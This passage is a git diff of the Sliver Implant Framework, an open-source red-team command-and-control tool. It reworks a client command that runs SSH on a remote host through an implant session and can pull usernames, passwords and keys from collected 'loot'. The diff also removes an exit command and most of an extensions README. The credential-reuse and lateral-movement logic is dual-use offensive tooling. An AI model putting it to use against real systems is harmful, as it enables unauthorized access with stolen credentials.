-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
-	"os"
+	"io/ioutil"
 	"strings"
 
 	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
+	"github.com/desertbit/grumble"
 )
 
-// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out).
-func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
+func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var (
 		privKey []byte
 		err     error
 	)
-	session := con.ActiveTarget.GetSessionInteractive()
+	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}
 
-	username, _ := cmd.Flags().GetString("login")
+	username := ctx.Flags.String("login")
 	if username == "" {
 		username = session.GetUsername()
 	}
 
-	port, _ := cmd.Flags().GetUint("port")
-	privateKeyPath, _ := cmd.Flags().GetString("private-key")
-	if privateKeyPath != "" {
-		privKey, err = os.ReadFile(privateKeyPath)
+	port := ctx.Flags.Uint("port")
+	privateKeypath := ctx.Flags.String("private-key")
+	if privateKeypath != "" {
+		privKey, err = ioutil.ReadFile(privateKeypath)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
 	}
-	password, _ := cmd.Flags().GetString("password")
+	password := ctx.Flags.String("password")
 
-	hostname := args[0]
-	command := args[1:]
+	hostname := ctx.Args.String("hostname")
+	command := ctx.Args.StringList("command")
 
-	kerberosRealm, _ := cmd.Flags().GetString("kerberos-realm")
-	kerberosConfig, _ := cmd.Flags().GetString("kerberos-config")
-	kerberosKeytabFile, _ := cmd.Flags().GetString("kerberos-keytab")
-
-	if kerberosRealm != "" && kerberosKeytabFile == "" {
-		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
-		return
-	}
-	kerberosKeytab := []byte{}
-	if kerberosKeytabFile != "" {
-		kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-
-	skipLoot, _ := cmd.Flags().GetBool("skip-loot")
-
-	if password == "" && len(privKey) == 0 && !skipLoot {
+	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
 		oldUsername := username
 		username, password, privKey = tryCredsFromLoot(con)
 		if username == "" {
@@ -88,57 +51,38 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		}
 	}
 
-	sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
+	commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
 		Username: username,
 		Hostname: hostname,
 		Port:     uint32(port),
 		PrivKey:  privKey,
 		Password: password,
 		Command:  strings.Join(command, " "),
-		Realm:    kerberosRealm,
-		Krb5Conf: kerberosConfig,
-		Keytab:   kerberosKeytab,
-		Request:  con.ActiveTarget.Request(cmd),
+		Request:  con.ActiveSession.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	if sshCmd.Response != nil && sshCmd.Response.Async {
-		con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, sshCmd)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintSSHCmd(sshCmd, con)
-		})
-		con.PrintAsyncResponse(sshCmd.Response)
-	} else {
-		PrintSSHCmd(sshCmd, con)
-	}
-}
 
-// PrintSSHCmd - Print the ssh command response.
-func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverClient) {
-	if sshCmd.Response != nil && sshCmd.Response.Err != "" {
-		con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
-		if sshCmd.StdErr != "" {
-			con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
+	if commandResp.Response != nil && commandResp.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
+		if commandResp.StdErr != "" {
+			con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
 		}
 		return
 	}
-	if sshCmd.StdOut != "" {
-		con.PrintInfof("Output:\n")
-		con.Println(sshCmd.StdOut)
-		if sshCmd.StdErr != "" {
-			con.PrintInfof("StdErr:\n")
-			con.Println(sshCmd.StdErr)
+	if commandResp.StdOut != "" {
+		con.PrintInfof("Output:")
+		con.Println(commandResp.StdOut)
+		if commandResp.StdErr != "" {
+			con.PrintInfof("StdErr")
+			con.Println(commandResp.StdErr)
 		}
 	}
 }
 
-func tryCredsFromLoot(con *console.SliverClient) (string, string, []byte) {
+func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
 	var (
 		username string
 		password string
@@ -148,18 +92,18 @@ func tryCredsFromLoot(con *console.SliverClient) (string, string, []byte) {
 	prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
 	survey.AskOne(prompt, &confirm, nil)
 	if confirm {
-		// cred, err := loot.SelectCredentials(con)
-		// if err != nil {
-		// 	con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
-		// } else {
-		// 	switch cred.CredentialType {
-		// 	case clientpb.CredentialType_API_KEY:
-		// 		privKey = []byte(cred.Credential.APIKey)
-		// 	case clientpb.CredentialType_USER_PASSWORD:
-		// 		username = cred.Credential.User
-		// 		password = cred.Credential.Password
-		// 	}
-		// }
+		cred, err := loot.SelectCredentials(con)
+		if err != nil {
+			con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
+		} else {
+			switch cred.CredentialType {
+			case clientpb.CredentialType_API_KEY:
+				privKey = []byte(cred.Credential.APIKey)
+			case clientpb.CredentialType_USER_PASSWORD:
+				username = cred.Credential.User
+				password = cred.Credential.Password
+			}
+		}
 	}
 	return username, password, privKey
 }

client/command/exit/exit.go

@@ -1,68 +0,0 @@
-package exit
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2023  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"os"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/spf13/cobra"
-)
-
-// ExitCmd - Exit the console.
-func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	fmt.Println("Exiting...")
-	if con.IsServer {
-		sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			os.Exit(1)
-		}
-		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			os.Exit(1)
-		}
-		if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
-			con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
-			confirm := false
-			prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
-			survey.AskOne(prompt, &confirm)
-			if !confirm {
-				return
-			}
-		}
-	}
-	os.Exit(0)
-}
-
-// Commands returns the `exit` command.
-func Command(con *console.SliverClient) []*cobra.Command {
-	return []*cobra.Command{{
-		Use:   "exit",
-		Short: "Exit the program",
-		Run: func(cmd *cobra.Command, args []string) {
-			ExitCmd(cmd, con, args)
-		},
-		GroupID: constants.GenericHelpGroup,
-	}}
-}

client/command/extensions/README.md

@@ -1,67 +1,4 @@
 Extensions
 ===========
 
-Allows to load and execute 3rd party extensions.
-
-Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
-must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
-parent directories are not allowed. Only files listed in the manifest are copied, any other files will
-be ignored.
-
-```shell
-/path/to/extension/folder/
-├── extension.json
-└── windows
-│    └── extension.x86.dll
-│    └── extension.x64.dll
-└── linux
-│    └── extension.x86.so
-│    └── extension.x64.so
-└── darwin
-     └── extension.x86.dylib
-     └── extension.x64.dylib
-```
-
-Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
-
-```json
-{
-    "name": "foo",
-    "version": "1.0.0",
-    "extension_author": "ac1d-burn",
-    "original_author": "zer0-cool",
-    "repo_url": "https://github.com/foo/bar",
-    "help": "Help for foo command",
-    "entrypoint": "RunFoo",
-    "init" :"NimMain",
-    "depends_on": "bar",
-    "files": [
-        {
-            "os": "windows",
-            "arch": "amd64",
-            "path": "extension.x64.o",
-        }
-    ],
-    "arguments": [
-        {"name": "pid", "type": "int", "desc": "pid", "optional": false},
-    ]
-}
-```
-
-The structure is the following one:
-
-- `name`: name of the extension, which will also be the name of the command in the sliver client
-- `help`: the documentation for the new command
-- `entrypoint`: the name of the exported function to call
-- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
-- `init`: the initialization function name (if relevant, can be omitted)
-- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
-- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
-
-The `type` of an argument can be one of the following:
-
-- `string`: regular ASCII string
-- `wstring`: string that will be UTF16 encoded
-- `int`: will be parsed as a 32 bit unsigned integer
-- `short`: will be parsed as a 16 bit unsigned integer
-- `file`: a string to a file path on the client side which content will be passed to the BOF
+Wraps external DLLs/tool in Sliver console commands.